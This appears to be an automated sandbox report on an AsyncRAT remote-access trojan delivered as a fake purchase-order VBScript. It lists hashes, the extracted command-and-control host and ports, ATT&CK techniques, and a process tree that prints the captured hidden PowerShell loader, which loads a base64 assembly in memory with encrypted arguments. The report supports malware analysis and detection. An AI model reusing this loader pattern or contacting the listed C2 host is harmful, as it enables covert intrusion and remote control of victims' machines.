asyncrat | 9da4bc8b16cd1357e2bbb3cb7b976fec1adba9819bce2b0478d593d1cf464e27

Analysis

max time kernel
300s
max time network
290s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 16:23

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General

Target
POs 2701789 & 2701790.vbs
Size 5.5MB
Sample260930-tvx2maxw9k
SHA256 9da4bc8b16cd1357e2bbb3cb7b976fec1adba9819bce2b0478d593d1cf464e27
MD5 7fc2d1c9aaaa04e0522d896f0c63d6ab
SHA1 6f56205acae532021ee2ecc87442c90d52319ebf
SHA512 e15b2314138eb29da3cdd6090cf8392dd362ffdd9a4740c31c855ef66889ed4eb22e8852dc8d36b6675522b0ff0bd91232b8a69c56b0b72499f090c7304f2618
SSDEEP 768:FyABSBv4uAbDJS436Vbpi72Crg5eGrbrm7QKdoUcGQOq+oJVOPCdezI/+cyNIAPQ:a
TLSH
T161465DD252CEE284D9EE64EA54AA17CFBD06395FF9CBD0A006303AFF5271B459E190D0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

default discovery execution asyncrat persistence rat suricata

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

lg.sonqhong.com:80
lg.sonqhong.com:443
lg.sonqhong.com:8080

Mutex

8KlUBhFQHvym

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound 2 IoCs

Network activity triggered a Suricata alert

suricata asyncrat

flow	pid	Process
9	5004	aspnet_compiler.exe
9	5004	aspnet_compiler.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2040	2156	powershell.exe	88

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	2040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2040	powershell.exe
1776	powershell.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1768	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2040 set thread context of 5004	2040	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WScript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WScript.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aspnet_compiler.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2040	powershell.exe
2040	powershell.exe
1776	powershell.exe
1776	powershell.exe
1776	powershell.exe
2040	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2040	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	5004	aspnet_compiler.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6140	conhost.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 1776	1768	WScript.exe	91
PID 2040 wrote to memory of 5004	2040	powershell.exe	93
PID 2040 wrote to memory of 5004	2040	powershell.exe	93
PID 2040 wrote to memory of 5004	2040	powershell.exe	93
PID 2040 wrote to memory of 5004	2040	powershell.exe	93
PID 2040 wrote to memory of 5004	2040	powershell.exe	93
PID 6140 wrote to memory of 2416	6140	conhost.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\POs 2701789 & 2701790.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$morticians=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$desmodont=[Convert]::FromBase64String($morticians);[AppDomain]::CurrentDomain.Load($desmodont)|Out-Null;[Win32.RMP.Cls_erFpixLbne]::Met_aRHMFAWGcqhW('G38sgRgIi0kEMqwOI2BgcBypLn2XKBwXe6n35eOt+9Zprk22eTo0majVUoYhbsJG1YpgpkK892hWtQ2Q6bFMRjPPb9kplM6UhePOS7W5RHI=','vnTPJr0FxG/90T9mhnBLlBhzI3FhRA7rxBFKJQmMWkU=','+csZ4fId5dnsWOGkNJHdacfdGywAirgNTQ4F+TvsdtoBB7l9EmiGblDWBvKNt6Dd','gDCG0KQDnz2XhwMQ1KP8aThv/xeqIXFlxXOr3oDvQCc=','oGiLPMoD9XNQ95+fGzNG4uXunWmdArMi6PyK8dz3qY8=','C1hvKVYLi/yF3gQzANpblvTjOM+L84gI+yMTBGN4a5o=','vE9o3H8Q6iwu9ZCJ8R9d/h14OUE6hsn0WBu7xlUgg30=','WuQVBdCEnP1mdL8YLTBTxp7pyO4uoQLOvtD/DJo3Yxo=','','YfZkFDnS1kTH2BGWKBXzcyxgtk0dB1rhsvvwKhktQhJh9d0tHRIQBJXh9DYe96jo','PS1B04j8/fxju9G3nDV8DyOxsnclb0yt73AZxSJzQkk=','Fmqd+sdWLOca2SHsvObOtE/TYA/JOaJemwl5ARCCmqI=','RLpNiSAKHPTIeVcgrkNZ2pJR5WNqS1aCQ6gKA9SkwOQ=','AJQfFPPISWvHn6kh86DMYMJnt1dTT3i1/EsFWQEDlHw=','mACoPyj3o+3hh2CsVbAnHhXiPwZ0QSo9nS9cHLcifUM=','9Ele3CSzuQbyGXjMURQY3vxHegmSe6RUcQuU0ZSWnhM=','','','')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1776

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$morticians=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$desmodont=[Convert]::FromBase64String($morticians);[AppDomain]::CurrentDomain.Load($desmodont)|Out-Null;[Win32.RMP.Cls_erFpixLbne]::Met_aRHMFAWGcqhW('G38sgRgIi0kEMqwOI2BgcBypLn2XKBwXe6n35eOt+9Zprk22eTo0majVUoYhbsJG1YpgpkK892hWtQ2Q6bFMRjPPb9kplM6UhePOS7W5RHI=','vnTPJr0FxG/90T9mhnBLlBhzI3FhRA7rxBFKJQmMWkU=','+csZ4fId5dnsWOGkNJHdacfdGywAirgNTQ4F+TvsdtoBB7l9EmiGblDWBvKNt6Dd','gDCG0KQDnz2XhwMQ1KP8aThv/xeqIXFlxXOr3oDvQCc=','oGiLPMoD9XNQ95+fGzNG4uXunWmdArMi6PyK8dz3qY8=','C1hvKVYLi/yF3gQzANpblvTjOM+L84gI+yMTBGN4a5o=','vE9o3H8Q6iwu9ZCJ8R9d/h14OUE6hsn0WBu7xlUgg30=','WuQVBdCEnP1mdL8YLTBTxp7pyO4uoQLOvtD/DJo3Yxo=','','YfZkFDnS1kTH2BGWKBXzcyxgtk0dB1rhsvvwKhktQhJh9d0tHRIQBJXh9DYe96jo','PS1B04j8/fxju9G3nDV8DyOxsnclb0yt73AZxSJzQkk=','Fmqd+sdWLOca2SHsvObOtE/TYA/JOaJemwl5ARCCmqI=','RLpNiSAKHPTIeVcgrkNZ2pJR5WNqS1aCQ6gKA9SkwOQ=','AJQfFPPISWvHn6kh86DMYMJnt1dTT3i1/EsFWQEDlHw=','mACoPyj3o+3hh2CsVbAnHhXiPwZ0QSo9nS9cHLcifUM=','9Ele3CSzuQbyGXjMURQY3vxHegmSe6RUcQuU0ZSWnhM=','','','')"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
  2⤵
  - Suricata alert: AsyncRAT Malware Default X.509 Certificate Detected - Inbound
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5004

C:\Windows\system32\conhost.exe
conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:2416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 7d62cbc89aaaef4c99b3805840963e2fd7828e5a0936a7042b8184f7440f392d
MD5 ad7e6b16264c4cccf9846240acc5d592
SHA1 3e73bdb0f15636decca39233c82ab4b83b854368
SHA512 ac787b79989f36340f5af6046eeca69c4e4c067ecfc4fc6cdf2c9d5dc6d19138d5ff42ee7812178788043d083e6a3388b56e6eb4b1f4b5990b7320eacdcbcfea
MD5 SHA1 SHA512

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memory/1776-15-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/1776-20-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/1776-17-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/1776-16-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-9-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-18-0x000002B719F70000-0x000002B719F92000-memory.dmp

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memory/2040-11-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-12-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-13-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-14-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-0-0x00007FFDD535F000-0x00007FFDD5360000-memory.dmp

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memory/2040-8-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-5-0x000002B77F960000-0x000002B77F982000-memory.dmp

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memory/2040-10-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-2-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-1-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/2040-24-0x00007FFDD51D0000-0x00007FFDD5B74000-memory.dmp

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memory/5004-21-0x0000000000400000-0x0000000000412000-memory.dmp

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memory/5004-27-0x00000000060B0000-0x000000000614C000-memory.dmp

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memory/5004-28-0x00000000069F0000-0x0000000006FAA000-memory.dmp

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memory/5004-29-0x00000000064A0000-0x0000000006506000-memory.dmp

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